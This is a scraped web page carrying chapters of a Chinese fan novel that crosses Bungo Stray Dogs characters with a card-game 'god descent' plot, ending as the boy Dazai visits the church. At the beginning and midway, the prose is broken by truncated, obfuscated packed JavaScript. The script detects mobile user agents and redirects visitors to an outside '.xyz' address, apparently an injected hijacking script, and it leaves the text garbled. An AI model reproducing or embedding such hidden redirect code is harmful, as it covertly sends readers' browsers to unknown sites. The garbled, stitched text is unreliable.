RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740184|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,失去了控制。 城市中的人们吃惊地看着家中的电器自行开启又关闭,电灯闪烁,电视自己换着频道,如同有了自主意识;街道上的汽车失控地暴走;工业园区内,炼钢炉崩解,工厂自焚——仿佛整个城市成为了铸炉的祭台。 接着,那种声音响起了—— 轰。 轰轰轰。 世界在坍塌。不是地震,不是战争,而是——重铸。 从横滨港口上空,一道巨大的赤红光柱贯穿了云层与天际,仿佛火山在天空中倒喷而出。 人们仰起头,几天前的神迹依然深深地烙印在他们的心中,他们窃窃私语,这次会是什么? 然而,迎接他们的是毁灭。 灰烬从云层坠落,大地被溶化重塑,建筑化为熔金,街道被熔流吞噬。 她出现了。 白日铸炉的降世,不带情绪,也不带毁灭的快感,她只是一台运转至极致的神性机器,理性、冰冷,却绝对。 她巨大的身体仿佛由铜铁、石英与猩红炼金液构成,每一步都带来一座高炉的崩解与再生。她的目光扫过横滨,像是在评估一块生锈的金属,是否值得再造。 她用行动替代了回答。 于是,一座新的横滨在灰烬中开始成型,但那已不再是旧日之港口、不再是活人的城市。 而是供神明安息、供信徒跪拜、供某人加冕的炼金王座。 而中也,他在炽热的赤光中逐渐消散,他的躯体化为炼金城市的核心,毁灭与再造之神在地上行走的容器——他没有消失,没有痛苦,只有无尽的白光与未曾言说的孤独。 …… 【神降胜利:炼金王座 我已在这重历史建成那永不可摧之城,在这座城市,夜晚永不降临,铸炉的火焰将照亮一切。 我是这座炼金之城的君王,也是它的囚徒,现在我安全了,永远的,毕竟,如何摧毁已被毁灭殆尽之物。】 你麻了。 你坐在电脑前,屏幕的右下角跳出成就,然而你无心查看,你整个人的表情呈现名画《呐喊》式的崩溃。 也没人告诉你降神要献祭追随者啊,你新鲜出炉的,在桌面上只躺了五分钟的超神追随者,就这么被献祭掉了? 不,或许你的人子试图告诉过你? 你回想起那个突兀出现的弹窗。 当时那个文本确实让你觉得怪怪的,不过你还特意切到【作业】看了一眼,在这个游戏里,作为消耗品被献祭掉的卡槽下方会有一个小小的指针,你反复确认过,你放进中也的卡槽里并没有这个标识。 现在你明白这是为什么了。 从技术层面上来说,中也并没有消失,相反,作为白日铸炉的容器,他得到了某种意义上的永生,结局结算画面之前,你甚至还看见他的卡牌就那么好好地待在桌子上…… 别他妈瞎扯淡了。 你把鼠标砸得哐哐响,为制作组清奇的脑回路感到震撼。 那样还算活着吗? 这完全是诈骗吧! 你深吸一口气,平复了下心情。 还好,为时不晚。 你打开控制台,找到之前某种直觉驱使你存下的档。 你点击图标,读取存档。 无论是中也,还是其他追随者,还是你的人子,他们的旅程都不应该在这里结束。 你不会让这种事情再次发生。 15.第 15 章 中也从噩梦中惊醒。 他剧烈地喘息着,试图回想梦的内容,脑海中却只有一些呓语般的碎片,火焰在灼烧,城市内的一切都被燃烧殆尽,而他在最近的地方看着一切的发生,却无能为力。 他有些不安地看向窗外,似乎想确认那真的只是一个梦境,然而,扭头的一瞬间,他却被吓了一个激灵。 下意识地调动重力,却在辨认出那个人影的瞬间,撤掉了异能。 他松了一口气,困惑地开口,“米迦?你在这里干什么?” 米迦沉默地从黑暗的窗台边向前迈了一步,走到月光下。 今晚月色皎洁如霜,照在他的面颊上,显出一种不健康的惨白。 “中也,你应该对我更加防备一些。”他开口,说出的话却令中也摸不着头脑。 “为什么?”少年人的目光澄澈而毫无阴霾,“你又不会伤害我。” 米迦看着他叹了口气,没有回答。 “算了,别说这些了,你看起来不太好。”中也的语气里不无关心。 他挥了挥手,黑色的火焰从壁炉里蹿起,狂暴的火焰跳动了几下,转变为橘红的温暖篝火,自从熔铸了荒霸吐之后,他的异能力的表现形式变得更加随心所欲了。 只有米迦知道,这种转变其实源于他所带到这个世界的无形之术——和异能力不同,准则的表现形式向来是多样的。 他身边的人被拉离既定的命运轨迹,悄然改变,变得更加适合接纳司辰们的降临。 然而,他期待的,并不是那样的结局。 如果那能称为胜利,胜利也应当为之耻辱。 “谢谢你,中也。”他走到壁炉边,在暖色焰光的映照下,脸上终于有了一点血色,“总之,我很高兴你没事。” 他将手凑近壁炉中的火焰,凑得太近了,火舌几乎卷上他的指尖,他却好像感觉不到疼痛和危险似的,继续向前伸手,如同要掬起一捧火焰。 中也猛地从床上跳下来,钳住他的手臂,皱起眉头。 “你到底怎么了?” “不必紧张,中也,如果我因此受了伤害……”米迦说,“也无法抵消我曾做过的那些事的千万分之一。” 中也困惑地看着他。 “你们所遭遇的一切,都是因为我的软弱,我的轻信。”米迦浑然不觉,隔着虚空,仿佛与什么看不见的存在对视,“我不会让那种事再发生第二次。” “现在,回去睡觉吧,中也。”他轻轻推了一下中也的肩膀,看着他,再一次,重复了一句那只有他一个人知道含义的,“我很抱歉。” 中也一头雾水地看着他离去的背影,缩进温暖的被窝里。 他思考着米迦的话语,这些天发生过的事情,思维越来越迟钝,不知不觉地睡着了。 第二天睁开眼睛时,他几乎以为昨晚发生的一切都是一场梦。 然而,壁炉里燃尽的柴火上仍残留的火星,提醒着他那都是真实发生过的。 他心不在焉地洗漱,走到楼下去。 厨房里,米迦和兰波都不在,乱步正给织田打下手。 黑发少年老大不情愿地倚着餐桌剥鸡蛋,乱步几乎是中也见过最聪明的人,然而在这种事情上,却显得笨手笨脚,几乎每个鸡蛋都被他剥得坑坑洼洼的。 织田冲他点点头,他不太爱说话,这样就算打过招呼了,而乱步一见到他,就活泼地叫嚷起来。 “居然让老师等你,真是不像话的弟子啊,中也。” 米迦安排乱步教他拉丁语和希腊语,虽然中也完全不知道学这些语言有什么用,但显然突然多出了教师身份的乱步对此兴奋异常。 几乎每次见面,乱步都要以“我不成器的弟子啊”开头,中也一开始抗议过,但他很快明白过来,虽然乱步年长他几岁,又聪慧异常,但他身上有种孩童般的纯真。 中也很快学会了把乱步当成“羊”里那些年幼的孩子来相处,只要简单地顺着他的意思来,乱步就很容易哄好——如果中也有这样的耐心的话。 倒是乱步,在短暂的几节课之后,他已经克制不住地敲着中也的脑袋大喊呆瓜。 在意识到这个身体里居住着神明之力的孩子智力水平和普通人并无差异后,成为老师的亢奋已经不可避免地衰退了下去。 “咚咚咚”,一记节奏轻快的敲门声打破了教会清晨的宁静。 “中也去开。” “哈?凭啥是我?” “那作之助去。” 织田百忙之中举着锅铲回头,脸上的表情一片茫然的空白。 “你自己去开啦。”中也忍不住为织田说话。 在他们来得及吵出个结果之前,大门就被从外推开。 站在那里的男孩大概十岁左右,黑发,穿着一身对于这个季节而言过于单薄的衣服。 “早上好啊,”男孩环顾一圈,轻快又自来熟地开口,“这里就是那个传说中的宗教团体的秘密据点吗?” 乱步坐直了身子,迅速地扫了男孩一眼,“没预约不收信徒哦。” 中也吃惊地看了他一眼,乱步的语气和平时一样跳脱,然而,措辞间却有着不太常见的强硬。 就像开启了防卫模式一样,要将一切对教团会造成威胁的隐藏因素驱逐出去。 “我是羊的人。” 这个词引起了中也的注意,他皱眉看着男孩,对这张脸并没有印象。 男孩一脸无辜,摊开双手,手腕上系着一根青色的带子,正是羊的标志,“我跟家人来这座城市旅游,却不小心走散了,他们说你们能够提供帮助。” “哦,你是这么骗他们的是吧。”乱步微微扬起下巴,毫不客气地戳穿了男孩的谎言,“迷路和离家出走,还是有挺大差别的吧?” “抱歉……”男孩有些垂头丧气,“我不是故意要说谎,我和家里人吵架了,故意躲起来,我以为他们会来找我的,没想到……” 他没把话说完,留下的空白足以令人遐想。 “乱步。”中也小声叫乱步的名字。 其实他对男孩的第一印象并不怎么好,或许是因为那随便的笑脸,或许是因为直觉,但不管怎么说,一个这么小的孩子被这样逼问似乎也太可怜了。 “中也真是个呆瓜。”乱步瞥了他一眼,毫不客气地评价道。 他没来得及反驳,就诧异地听见了男孩的附和。 “是呀是呀,怎么会这么好骗呢?”男孩脸上的笑容不改,“羊的那群人也是,只要扯出笑容和故事,就随随便便地轻信他人,给我你们的地址。” 中也像见了鬼一样瞪着他,他终于咂摸出了不对劲。 羊的那群人他是知道的,在街头摸爬滚打的流浪儿,防备心都很重,中也那时也是花了很长时间才融入他们的。 而这个男孩和他们认识才多久?前几天米迦去和羊谈判的时候,他还没在那里,短短几天时间,就让羊的人对他和盘托出,这也太奇怪了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743628|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 中也脸上的防备显而易见,男孩却视若无睹,凑上来对他瞧来瞧去,评头论足。就像在动物园里参观猛兽。 “你就是荒霸吐?” 这句话让中也的心头猛地一跳。 “原来就是这么个小矮子啊。”他的语气里不无失望。 中也额头的青筋猛跳,很想照着那张令人不舒服的笑脸狠狠揍上几拳。 “你那天在镭钵街填平废墟的时候,我就在那。”男孩像是察觉到了危险,若无其事地后退了几步,“但是,真可惜啊,神明大人,你好像把我在的那块地方给忘了。” “哈?”中也皱了皱眉,他想追问,却被楼梯上传来的声音打断了。 “欺负我家的孩子也请适可而止吧,小先生。” 米迦站在楼梯上,垂下眼睛看着他们,一如既往的西装革履,打扮讲究。 中也想起昨晚的事情,心中有种古怪的预感。 好像在他不知道的时候,有什么不太好的事情已经悄然发生过了。 男孩仰起脸望着楼梯上的人,一直如同面具般的表情有了轻微的裂纹,“真有意思。” “你指什么呢?”米迦问。 “我只是不明白罢了,只是什么新型的过家家游戏吗?”男孩故作惊讶。 “作之助!”乱步仿佛已经预料到了接下来会发生什么,提高声音喊还在厨房里的织田,“有人上门来踢馆了!快把他轰出去!” “啊,原来是这样,”男孩恍然大悟,脸上有一种让人不舒服的古怪笑意,“你的好朋友们全都知道,只有你一个人被蒙在鼓里。” “你们到底在说什么的话题?”中也被这群人打哑谜一样的说话方式彻底搞懵了。 “是如果神不满意献祭,就会让世界重来一遍的话题哦。”男孩轻快地说。 米迦没有反驳,深深地凝望着男孩,男孩微笑着,毫不畏惧地对视回去。 “你在他体内埋了一个神明,等合适的时机献祭,然后毁灭世界……现在呢?你对他说‘早上好’,‘记得刷牙’,哦,你会给他晚安吻吗?” “你知道最可笑的是什么?”他转过身,看着中也,“你真的一点也不记得自己曾经在火中燃烧过。他毁灭了你,又若无其事地把一切揭过,而你还站在这里傻乎乎地感谢他。” “只要扯出笑容和故事,就随随便便地轻信他人,”他重复着刚进来时说过的那句话,“怎么会这么好骗——” 然而,话却没能说完。 男孩诧异地睁大了眼睛,脸上难得显出一点符合年龄的稚气,从走进这座教会以来就一直喋喋不休的嘴被刚出炉的三明治塞得鼓鼓囊囊。 调味得很好的鸡蛋酱的味道在舌头上化开,他的身后,红发的前暗杀者沉默地站在那里。 “到吃早饭的时间了。”织田低头看他一眼,抬起头对房间里的其他人说,他脸上的表情一片空白,很难看出他到底听了多久,也很难看出他有什么感想。 男孩把咬了一口的三明治从嘴里拿出来,想要再次开口,仿佛早就预见了接下来的场景,织田轻描淡写地往他嘴里塞了一块新的三明治——蟹柳炒蛋馅的。 男孩这回没拒绝,幸福地拿着三明治啃了起来。 “我煮了咖啡。”织田的语气平平淡淡,“有什么话,一边吃饭一边说吧。” 他看向男孩的方向,“你也一起来吧,这位……” “太宰,”男孩说,“太宰治,我的名字。”